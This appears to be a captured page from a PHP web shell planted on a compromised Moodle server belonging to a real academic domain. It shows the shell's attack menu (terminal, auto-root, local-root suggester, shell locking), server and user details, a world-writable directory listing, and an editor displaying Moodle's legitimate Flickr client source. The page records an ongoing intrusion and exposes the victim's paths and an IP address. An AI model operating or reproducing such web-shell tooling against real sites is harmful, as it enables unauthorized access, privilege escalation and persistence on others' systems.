Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.218.99.99
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
lms /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
adodb
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
ajax
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
amd
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
antivirus
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
babel-polyfill
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
behat
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
bennu
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
classes
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
db
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
ddl
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
dml
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
dtl
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
editor
[ DIR ]
drwxrwxrwx
2022-12-30 22:31
emoji-data
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
evalmath
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
external
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
filebrowser
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
filestorage
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
fonts
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
form
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
geopattern-php
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
google
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
grade
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
horde
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
html2text
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
htmlpurifier
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
jabber
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
jquery
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
ltiprovider
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
markdown
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
maxmind
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
minify
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
mlbackend
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
mustache
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
pear
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
php-css-parser
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
php-jwt
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
phpmailer
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
phpspreadsheet
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
phpunit
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
plist
[ DIR ]
drwxrwxrwx
2024-09-03 01:06
polyfills
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
portfolio
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
requirejs
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
rtlcss
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
scssphp
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
simplepie
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
spout
[ DIR ]
drwxrwxrwx
2022-12-30 22:32
table
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
tcpdf
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
templates
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
testing
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
tests
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
typo3
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
userkey
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
xapi
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
xhprof
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
xmldb
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
yui
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
yuilib
[ DIR ]
drwxrwxrwx
2022-12-30 22:33
accesslib.php
266.42
KB
-rw-rw-rw-
2022-01-31 00:06
adminlib.php
388.3
KB
-rw-rw-rw-
2022-01-31 00:06
authlib.php
40.95
KB
-rw-rw-rw-
2022-01-31 00:06
badgeslib.php
42.81
KB
-rw-rw-rw-
2022-01-31 00:06
blocklib.php
99.34
KB
-rw-rw-rw-
2022-01-31 00:06
boxlib.php
8.08
KB
-rw-rw-rw-
2022-01-31 00:06
cacert.pem
239.21
KB
-rw-rw-rw-
2022-01-31 00:06
cacert.txt
811
B
-rw-rw-rw-
2022-01-31 00:06
clilib.php
8.76
KB
-rw-rw-rw-
2022-01-31 00:06
completionlib.php
50.73
KB
-rw-rw-rw-
2022-01-31 00:06
componentlib.class.php
29.2
KB
-rw-rw-rw-
2022-01-31 00:06
components.json
3.45
KB
-rw-rw-rw-
2022-01-31 00:06
conditionlib.php
1.11
KB
-rw-rw-rw-
2022-01-31 00:06
configonlylib.php
6.48
KB
-rw-rw-rw-
2022-01-31 00:06
cookies.js
2.37
KB
-rw-rw-rw-
2022-01-31 00:06
coursecatlib.php
3.25
KB
-rw-rw-rw-
2022-01-31 00:06
cronlib.php
14.1
KB
-rw-rw-rw-
2022-01-31 00:06
csslib.php
6.81
KB
-rw-rw-rw-
2022-01-31 00:06
csvlib.class.php
17.38
KB
-rw-rw-rw-
2022-01-31 00:06
customcheckslib.php
1.5
KB
-rw-rw-rw-
2022-01-31 00:06
dataformatlib.php
1.79
KB
-rw-rw-rw-
2022-01-31 00:06
datalib.php
69.91
KB
-rw-rw-rw-
2022-01-31 00:06
ddllib.php
4.71
KB
-rw-rw-rw-
2022-01-31 00:06
default.ttf
502.23
KB
-rw-rw-rw-
2022-01-31 00:06
deprecatedlib.php
122.87
KB
-rw-rw-rw-
2022-01-31 00:06
dmllib.php
12.2
KB
-rw-rw-rw-
2022-01-31 00:06
dtllib.php
2.58
KB
-rw-rw-rw-
2022-01-31 00:06
editorlib.php
6.43
KB
-rw-rw-rw-
2022-01-31 00:06
emptyfile.php
809
B
-rw-rw-rw-
2022-01-31 00:06
enrollib.php
119.71
KB
-rw-rw-rw-
2022-01-31 00:06
environmentlib.php
57.02
KB
-rw-rw-rw-
2022-01-31 00:06
excellib.class.php
30.34
KB
-rw-rw-rw-
2022-01-31 00:06
externallib.php
60.19
KB
-rw-rw-rw-
2022-01-31 00:06
filelib.php
196.38
KB
-rw-rw-rw-
2022-01-31 00:06
filterlib.php
59
KB
-rw-rw-rw-
2022-01-31 00:06
flickrclient.php
9.44
KB
-rw-rw-rw-
2022-01-31 00:06
flickrlib.php
52.08
KB
-rw-rw-rw-
2022-01-31 00:06
formslib.php
139.39
KB
-rw-rw-rw-
2022-01-31 00:06
gdlib.php
16.96
KB
-rw-rw-rw-
2022-01-31 00:06
googleapi.php
16.83
KB
-rw-rw-rw-
2022-01-31 00:06
gradelib.php
60.98
KB
-rw-rw-rw-
2022-01-31 00:06
graphlib.php
83.1
KB
-rw-rw-rw-
2022-01-31 00:06
grouplib.php
47.89
KB
-rw-rw-rw-
2022-01-31 00:06
index.html
1
B
-rw-rw-rw-
2022-01-31 00:06
installlib.php
18.06
KB
-rw-rw-rw-
2022-01-31 00:06
javascript-static.js
43.13
KB
-rw-rw-rw-
2022-01-31 00:06
javascript.php
4.09
KB
-rw-rw-rw-
2022-01-31 00:06
jslib.php
4.21
KB
-rw-rw-rw-
2022-01-31 00:06
jssourcemap.php
2.41
KB
-rw-rw-rw-
2022-01-31 00:06
ldaplib.php
18.25
KB
-rw-rw-rw-
2022-01-31 00:06
lexer.php
16.07
KB
-rw-rw-rw-
2022-01-31 00:06
licenselib.php
12.53
KB
-rw-rw-rw-
2022-01-31 00:06
listlib.php
22.53
KB
-rw-rw-rw-
2022-01-31 00:06
mathslib.php
4.47
KB
-rw-rw-rw-
2022-01-31 00:06
messagelib.php
33.52
KB
-rw-rw-rw-
2022-01-31 00:06
modinfolib.php
109.69
KB
-rw-rw-rw-
2022-01-31 00:06
moodlelib.php
378.65
KB
-rw-rw-rw-
2022-01-31 00:06
myprofilelib.php
19.71
KB
-rw-rw-rw-
2022-01-31 00:06
navigationlib.php
247.85
KB
-rw-rw-rw-
2022-01-31 00:06
oauthlib.php
24.44
KB
-rw-rw-rw-
2022-01-31 00:06
odslib.class.php
57.36
KB
-rw-rw-rw-
2022-01-31 00:06
outputactions.php
7.11
KB
-rw-rw-rw-
2022-01-31 00:06
outputcomponents.php
161.1
KB
-rw-rw-rw-
2022-01-31 00:06
outputfactories.php
18.11
KB
-rw-rw-rw-
2022-01-31 00:06
outputfragmentrequirementslib.php
4.28
KB
-rw-rw-rw-
2022-01-31 00:06
outputlib.php
93.22
KB
-rw-rw-rw-
2022-01-31 00:06
outputrenderers.php
203.78
KB
-rw-rw-rw-
2022-01-31 00:06
outputrequirementslib.php
86.06
KB
-rw-rw-rw-
2022-01-31 00:06
pagelib.php
77.25
KB
-rw-rw-rw-
2022-01-31 00:06
pdflib.php
9.23
KB
-rw-rw-rw-
2022-01-31 00:06
phpminimumversionlib.php
3.08
KB
-rw-rw-rw-
2022-01-31 00:06
plagiarismlib.php
8.01
KB
-rw-rw-rw-
2022-01-31 00:06
portfoliolib.php
53.59
KB
-rw-rw-rw-
2022-01-31 00:06
questionlib.php
88.77
KB
-rw-rw-rw-
2022-01-31 00:06
recaptchalib_v2.php
6.39
KB
-rw-rw-rw-
2022-01-31 00:06
requirejs.php
6.9
KB
-rw-rw-rw-
2022-01-31 00:06
resourcelib.php
8.91
KB
-rw-rw-rw-
2022-01-31 00:06
rsslib.php
17.84
KB
-rw-rw-rw-
2022-01-31 00:06
searchlib.php
17.95
KB
-rw-rw-rw-
2022-01-31 00:06
sessionlib.php
6.97
KB
-rw-rw-rw-
2022-01-31 00:06
setup.php
38.75
KB
-rw-rw-rw-
2022-01-31 00:06
setuplib.php
77.21
KB
-rw-rw-rw-
2022-01-31 00:06
soaplib.php
5.23
KB
-rw-rw-rw-
2022-01-31 00:06
statslib.php
67.65
KB
-rw-rw-rw-
2022-01-31 00:06
tablelib.php
74.21
KB
-rw-rw-rw-
2022-01-31 00:06
thirdpartylibs.xml
9.03
KB
-rw-rw-rw-
2022-01-31 00:06
tokeniserlib.php
16.48
KB
-rw-rw-rw-
2022-01-31 00:06
upgrade.txt
105.38
KB
-rw-rw-rw-
2022-01-31 00:06
upgradelib.php
101.44
KB
-rw-rw-rw-
2022-01-31 00:06
uploadlib.php
1.9
KB
-rw-rw-rw-
2022-01-31 00:06
validateurlsyntax.php
23.05
KB
-rw-rw-rw-
2022-01-31 00:06
webdavlib.php
68.75
KB
-rw-rw-rw-
2022-01-31 00:06
weblib.php
124.82
KB
-rw-rw-rw-
2022-01-31 00:06
wiki_to_markdown.php
13.12
KB
-rw-rw-rw-
2022-01-31 00:06
womenslib.php
1021
B
-rw-rw-rw-
2022-01-31 00:06
wordlist.txt
1.23
KB
-rw-rw-rw-
2022-01-31 00:06
xhtml.xsl
223
B
-rw-rw-rw-
2022-01-31 00:06
xmlize.php
8.85
KB
-rw-rw-rw-
2022-01-31 00:06
xsendfilelib.php
2.59
KB
-rw-rw-rw-
2022-01-31 00:06
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Provides {@link flickr_client} class. * * @package core * @copyright 2017 David Mudrák <david@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir.'/oauthlib.php'); /** * Simple Flickr API client implementing the features needed by Moodle * * @copyright 2017 David Mudrak <david@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class flickr_client extends oauth_helper { /** * Base URL for Flickr OAuth 1.0 API calls. */ const OAUTH_ROOT = 'https://www.flickr.com/services/oauth'; /** * Base URL for Flickr REST API calls. */ const REST_ROOT = 'https://api.flickr.com/services/rest'; /** * Base URL for Flickr Upload API call. */ const UPLOAD_ROOT = 'https://up.flickr.com/services/upload/'; /** * Set up OAuth and initialize the client. * * The callback URL specified here will override the one specified in the * auth flow defined at Flickr Services. * * @param string $consumerkey * @param string $consumersecret * @param moodle_url|string $callbackurl */ public function __construct($consumerkey, $consumersecret, $callbackurl = '') { global $CFG; $version = moodle_major_version(); $useragent = "MoodleSite/$version (+{$CFG->wwwroot})"; parent::__construct([ 'api_root' => self::OAUTH_ROOT, 'oauth_consumer_key' => $consumerkey, 'oauth_consumer_secret' => $consumersecret, 'oauth_callback' => $callbackurl, 'http_options' => ['CURLOPT_USERAGENT' => $useragent] ]); } /** * Temporarily store the request token secret in the session. * * The request token secret is returned by the oauth request_token method. * It needs to be stored in the session before the user is redirected to * the Flickr to authorize the client. After redirecting back, this secret * is used for exchanging the request token with the access token. * * The identifiers help to avoid collisions between multiple calls to this * method from different plugins in the same session. They are used as the * session cache identifiers. Provide an associative array identifying the * particular method call. At least, the array must contain the 'caller' * with the caller's component name. Use additional items if needed. * * @param array $identifiers Identification of the call * @param string $secret */ public function set_request_token_secret(array $identifiers, $secret) { if (empty($identifiers) || empty($identifiers['caller'])) { throw new coding_exception('Invalid call identification'); } $cache = cache::make_from_params(cache_store::MODE_SESSION, 'core', 'flickrclient', $identifiers); $cache->set('request_token_secret', $secret); } /** * Returns previously stored request token secret. * * See {@link self::set_request_token_secret()} for more details on the * $identifiers argument. * * @param array $identifiers Identification of the call * @return string|bool False on error, string secret otherwise. */ public function get_request_token_secret(array $identifiers) { if (empty($identifiers) || empty($identifiers['caller'])) { throw new coding_exception('Invalid call identification'); } $cache = cache::make_from_params(cache_store::MODE_SESSION, 'core', 'flickrclient', $identifiers); return $cache->get('request_token_secret'); } /** * Call a Flickr API method. * * @param string $function API function name like 'flickr.photos.getSizes' or just 'photos.getSizes' * @param array $params Additional API call arguments. * @param string $method HTTP method to use (GET or POST). * @return object|bool Response as returned by the Flickr or false on invalid authentication */ public function call($function, array $params = [], $method = 'GET') { if (strpos($function, 'flickr.') !== 0) { $function = 'flickr.'.$function; } $params['method'] = $function; $params['format'] = 'json'; $params['nojsoncallback'] = 1; $rawresponse = $this->request($method, self::REST_ROOT, $params); $response = json_decode($rawresponse); if (!is_object($response) || !isset($response->stat)) { throw new moodle_exception('flickr_api_call_failed', 'core_error', '', $rawresponse); } if ($response->stat === 'ok') { return $response; } else if ($response->stat === 'fail' && $response->code == 98) { // Authentication failure, give the caller a chance to re-authenticate. return false; } else { throw new moodle_exception('flickr_api_call_failed', 'core_error', '', $response); } return $response; } /** * Return the URL to fetch the given photo from. * * Flickr photos are distributed via farm servers staticflickr.com in * various sizes (resolutions). The method tries to find the source URL of * the photo in the highest possible resolution. Results are cached so that * we do not need to query the Flickr API over and over again. * * @param string $photoid Flickr photo identifier * @return string URL */ public function get_photo_url($photoid) { $cache = cache::make_from_params(cache_store::MODE_APPLICATION, 'core', 'flickrclient'); $url = $cache->get('photourl_'.$photoid); if ($url === false) { $response = $this->call('photos.getSizes', ['photo_id' => $photoid]); // Sizes are returned from smallest to greatest. if (!empty($response->sizes->size) && is_array($response->sizes->size)) { while ($bestsize = array_pop($response->sizes->size)) { if (isset($bestsize->source)) { $url = $bestsize->source; break; } } } } if ($url === false) { throw new repository_exception('cannotdownload', 'repository'); } else { $cache->set('photourl_'.$photoid, $url); } return $url; } /** * Upload a photo from Moodle file pool to Flickr. * * Optional meta information are title, description, tags, is_public, * is_friend, is_family, safety_level, content_type and hidden. * See {@link https://www.flickr.com/services/api/upload.api.html}. * * Upload can't be asynchronous because then the query would not return the * photo ID which we need to add the photo to a photoset (album) * eventually. * * @param stored_file $photo stored in Moodle file pool * @param array $meta optional meta information * @return int|bool photo id, false on authentication failure */ public function upload(stored_file $photo, array $meta = []) { $args = [ 'title' => isset($meta['title']) ? $meta['title'] : null, 'description' => isset($meta['description']) ? $meta['description'] : null, 'tags' => isset($meta['tags']) ? $meta['tags'] : null, 'is_public' => isset($meta['is_public']) ? $meta['is_public'] : 0, 'is_friend' => isset($meta['is_friend']) ? $meta['is_friend'] : 0, 'is_family' => isset($meta['is_family']) ? $meta['is_family'] : 0, 'safety_level' => isset($meta['safety_level']) ? $meta['safety_level'] : 1, 'content_type' => isset($meta['content_type']) ? $meta['content_type'] : 1, 'hidden' => isset($meta['hidden']) ? $meta['hidden'] : 2, ]; $this->sign_secret = $this->consumer_secret.'&'.$this->access_token_secret; $params = $this->prepare_oauth_parameters(self::UPLOAD_ROOT, ['oauth_token' => $this->access_token] + $args, 'POST'); $params['photo'] = $photo; $response = $this->http->post(self::UPLOAD_ROOT, $params); if ($response) { $xml = simplexml_load_string($response); if ((string)$xml['stat'] === 'ok') { return (int)$xml->photoid; } else if ((string)$xml['stat'] === 'fail' && (int)$xml->err['code'] == 98) { // Authentication failure. return false; } else { throw new moodle_exception('flickr_upload_failed', 'core_error', '', ['code' => (int)$xml->err['code'], 'message' => (string)$xml->err['msg']]); } } else { throw new moodle_exception('flickr_upload_error', 'core_error', '', null, $response); } } }